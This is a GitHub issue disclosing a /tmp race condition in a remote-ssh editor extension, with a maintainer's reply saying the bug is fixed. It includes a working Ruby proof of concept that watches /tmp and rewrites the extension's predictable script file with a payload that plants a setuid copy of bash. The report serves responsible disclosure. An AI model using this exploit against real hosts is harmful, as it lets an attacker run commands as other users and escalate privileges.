You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
It's possible for an attacker on the remote system to make a remote-ssh user execute arbitrary commands.
When remote-ssh connects (or reconnects) to a host, it drops a base64 encoded script in /tmp, decodes it into a /tmp file with a predictable name, then executes the script.
Watch /tmp for new files matching file-base64.sh
Create file.sh, and make it world writable
Write (and rewrite as fast as possible) the script you want the user to run into file.sh
Proof of concept:
#!/usr/bin/env ruby
require "listen"
require "fileutils"
def attack(file)
File.open(file, "w") do |f|
FileUtils.chmod(0777, file)
while true
# payload
f.puts "cp /bin/bash /tmp/$USER; chmod +s /tmp/$USER"
f.flush
f.rewind
end
end
end
# use inotify for speed
listener = Listen.to("/tmp", only: /-base64.sh/) do |modified, added, removed|
next if added.empty?
file = added.first.gsub(/-base64.sh/, ".sh")
attack(file)
end
listener.start
sleep
Next time a user connects to a workspace on that host, they'll copy a setuid shell into /tmp/$USERNAME
(It also doesn't clean up it's /tmp files, which is what clued me into this in the first place. :)
I'd recommend either doing all this in the user's .cursor-server directory (and cleaning them up after! :) or piping the base64 decode directly into a shell so the second file isn't created.
The text was updated successfully, but these errors were encountered:
Clever! Thank you for finding this, and for writing up such a detailed issue :).
This is fixed internally, by piping the base64 directly into the shell instead of writing to a tempfile. I will update here and close the issue as soon as the build is out.
It's possible for an attacker on the remote system to make a remote-ssh user execute arbitrary commands.
When remote-ssh connects (or reconnects) to a host, it drops a base64 encoded script in /tmp, decodes it into a /tmp file with a predictable name, then executes the script.
Proof of concept:
Next time a user connects to a workspace on that host, they'll copy a setuid shell into /tmp/$USERNAME
(It also doesn't clean up it's /tmp files, which is what clued me into this in the first place. :)
I'd recommend either doing all this in the user's .cursor-server directory (and cleaning them up after! :) or piping the base64 decode directly into a shell so the second file isn't created.
The text was updated successfully, but these errors were encountered: